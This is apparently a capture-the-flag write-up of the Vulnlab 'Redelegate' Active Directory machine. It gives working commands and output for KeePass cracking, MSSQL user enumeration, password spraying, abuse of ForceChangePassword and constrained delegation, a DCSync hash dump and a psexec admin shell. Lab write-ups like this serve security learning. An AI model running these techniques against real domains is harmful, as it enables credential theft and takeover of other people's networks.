Redelegate is a hard Active Directory machine from Vulnlab, created by Geiseric. It involves enumerating domain accounts via MSSQL, abusing GenericAll on a machine account, and performing constrained delegation.
PORT STATE SERVICE 21/tcp open ftp 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server 5357/tcp open wsdapi 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm
From the Nmap scan, we can see that we are dealing with a Domain Controller, as it has DNS, LDAP, and Kerberos services running. Additionally, there is FTP on port 21 an MSSQL service running on port 1433, which is particularly noteworthy
FTP
We can connect to FTP anonymously and list files
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
➜ ftp 10.10.123.27 Connected to 10.10.123.27. 220 Microsoft FTP Service Name (10.10.123.27:serioton): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||53160|) 125 Data connection already open; Transfer starting. 10-20-24 12:11AM 434 CyberAudit.txt 10-20-24 04:14AM 2622 Shared.kdbx 10-20-24 12:26AM 580 TrainingAgenda.txt 226 Transfer complete.
Let’s switch to binary mode, disable the prompt, and download all the files
1 2 3 4 5 6 7 8
ftp> binary 200 Type set to I. ftp> prompt off Interactive mode off. ftp> mget * ... ftp> exit 221 Goodbye.
In the files, they mentioned weak passwords like the “SeasonYear!” format and outlined ongoing issues with unused Active Directory objects and dangerous ACLs.
1 2 3 4
... Friday 18th October | 11.30 - 13.30 - 7 attendees "Weak Passwords" - Why "SeasonYear!" is not a good password ...
We can use this format to create a wordlist to use for password spraying
We can attempt to crack this file with john by providing the wordlist we created
1 2 3 4 5 6 7 8 9 10 11 12 13 14
➜ keepass2john Shared.kdbx | tee hash Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca ➜ john hash --wordlist=passwords.txt Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 600000 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status <REDACTED> (Shared) 1g 0:00:00:00 DONE (2024-11-24 12:11) 3.030g/s 15.15p/s 15.15c/s 15.15C/s Spring2024!..Fall2024! Use the "--show" option to display all of the cracked passwords reliably Session completed.
Now, we can use export the content of the database using keepassxc-cli
1 2 3 4 5 6 7 8 9 10 11
➜ keepassxc-cli export Shared.kdbx --format csv | awk -F',' '{print $3 ":" $4}' | sed 's/"//g' Enter password to unlock Shared.kdbx:
Great, now we have a list of usernames and passwords. One username in particular stands out: the sqlguest account. We can try it with MSSQL
MSSQL
1 2 3 4 5 6 7 8 9 10 11 12 13
➜ mssqlclient.py sqlguest@redelegate.vl Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password: [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL (SQLGuest guest@master)>
We managed to log in, but it’s just a guest account. The first thing I always do is run xp_dirtree to capture the hash of the account running the SQL service.
We obtained the hash of the sql_svc account, but it could not be cracked. At this point, it seemed like a dead end. However, after some research, we found this blogpost from 2015, which describes a method to enumerate domain users using MSSQL.
Enumerating Domain Accounts
The steps to achieve this are outlined in the blog post. The first step is to retrieve the domain name.
1 2 3 4
SQL (SQLGuest guest@master)> SELECT DEFAULT_DOMAIN() as mydomain; mydomain ---------- REDELEGATE
Next, we use a default group, in this case, Domain Admins, to retrieve the RID
Once the full RID has been obtained, we can extract the domain SID by taking the first 48 bytes. In our case, it’s 0x010500000000000515000000A185DEEFB22433798D8E847AF4010000. We can use the following python code to convert the SID to a readable format
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
defhex_sid_to_string_sid(hex_sid): sid_bytes = bytes.fromhex(hex_sid[2:]) revision = sid_bytes[0] sub_auth_count = sid_bytes[1] identifier_authority = int.from_bytes(sid_bytes[2:8], byteorder='big') sub_authorities = [ int.from_bytes(sid_bytes[8 + (i * 4):12 + (i * 4)], byteorder='little') for i inrange(sub_auth_count) ] string_sid = f"S-{revision}-{identifier_authority}" for sub_auth in sub_authorities: string_sid += f"-{sub_auth}" return string_sid
Each line represents a query for a specific RID appended to the base SID. We can pass this file to mssqlclient.py using the -file option and let it enumerate and print all the domain users
➜ mssqlclient.py sqlguest:<REDACTED>@redelegate.vl -file queries.txt | tee result.txt Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) SQL> SELECT SUSER_SNAME(0x010500000000000515000000A185DEEFB22433798D8E847AF4010000)
Now that we have the domain users, we can perform a password spray using the wordlist we created earlier
1 2 3 4
➜ nxc smb redelegate.vl -u users.txt -p passwords.txt --continue-on-success SMB 10.10.123.27 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False) ... SMB 10.10.123.27 445 DC [+] redelegate.vl\Marie.Curie:<REDACTED>
We successfully got a hit on the user Marie.Curie. Let’s gather Bloodhound data to gain a better understanding of the network and the permissions our user have
1 2 3 4 5 6
➜ nxc ldap redelegate.vl -u marie.curie -p '<REDCATED>' --bloodhound --dns-server 10.10.123.27 --dns-tcp -c all SMB 10.10.123.27 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False) LDAP 10.10.123.27 389 DC [+] redelegate.vl\marie.curie:<REDCATED> LDAP 10.10.123.27 389 DC Resolved collection methods: objectprops, dcom, psremote, trusts, session, container, rdp, localadmin, acl, group LDAP 10.10.123.27 389 DC Done in 00M 16S LDAP 10.10.123.27 389 DC Compressing output into /home/serioton/.nxc/logs/DC_10.10.123.27_2024-11-24_125924_bloodhound.zip
ForceChangePassword
After loading the data into BloodHound, we identified 10 Reachable High Value Targets from our current user, Marie.Curie.
She is a member of the Helpdesk group, which has the ForceChangePassword permission on the user Helen.Frost. We can use bloodyAD to change Helen’s password
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Helen.Frost\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\Helen.Frost\desktop> cat user.txt VL{REDACTED}
Privilege Escalation
Running whoami /priv reveals that our user has the SeEnableDelegationPrivilege, a dangerous permission that allows for both constrained and unconstrained delegations
Privilege Name Description State ============================= ============================================================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
A word on Delegation
There are 3 types of delegation:
Unconstrained delegations (KUD): a service can impersonate users on any other service.
Constrained delegations (KCD): a service can impersonate users on a set of services
Resource based constrained delegations (RBCD) : a set of services can impersonate users on a service
I’ll leave some resources to learn more about delegation in the Resources section below
Constrained Delegation
GenericAll
Since we can’t add DNS entries and maq is set to 0, our only option is Constrained Delegation. However, Constrained Delegation requires a machine account, and fortunately, our user Helen.Frost has GenericAll over FS01$, which allows us to change its password.
Now that we have full control over FS01$, we can use it to execute the Constrained Delegation attack. As mentioned in this blogpost to perform Constrained Delegation, the following steps are required:
The userAccountControl attribute for the object must be updated with the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag.
The msDS-AllowedToDelegateTo attribute must be populated with the SPN configured on the delegation tab
To proceed, let’s first set msDS-AllowedToDelegateTo to cifs (or ldap)
Now, we use the credentials of fs01 to request a service ticket while impersonating any user.
Notice that we cannot impersonate the Administrator user in this case because it has the NOT_DELEGATED attribute, meaning it’s a protected account, as you can see here
As you can see, we successfully authenticated using the ticket
1 2 3
➜ nxc smb redelegate.vl --use-kcache SMB redelegate.vl 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False) SMB redelegate.vl 445 DC [+] redelegate.vl\ryan.cooper from ccache (Pwn3d!)
DCSync
Next, let’s perform a DCSync attack and dump all the hashes, even though we can simply connect as ryan.cooper and retrieve the root flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
➜ nxc smb redelegate.vl --use-kcache --ntds [!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] y SMB redelegate.vl 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False) SMB redelegate.vl 445 DC [+] redelegate.vl\ryan.cooper from ccache (Pwn3d!) SMB redelegate.vl 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull... SMB redelegate.vl 445 DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC Christine.Flanders:1104:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC Marie.Curie:1105:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC Helen.Frost:1106:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC Michael.Pontiac:1107:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC Mallory.Roberts:1108:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC James.Dinkleberg:1109:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC Ryan.Cooper:1117:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC DC$:1002:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: SMB redelegate.vl 445 DC FS01$:1103:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: ...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
➜ psexec.py redelegate.vl/ryan.cooper@dc.redelegate.vl -k -no-pass Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on dc.redelegate.vl..... [*] Found writable share ADMIN$ [*] Uploading file YAsYJdGE.exe [*] Opening SVCManager on dc.redelegate.vl..... [*] Creating service Xpre on dc.redelegate.vl..... [*] Starting service Xpre..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.20348.2762] (c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> type C:\users\administrator\desktop\root.txt VL{REDACTED}
That concludes this chain. I hope you learned something new! 🐱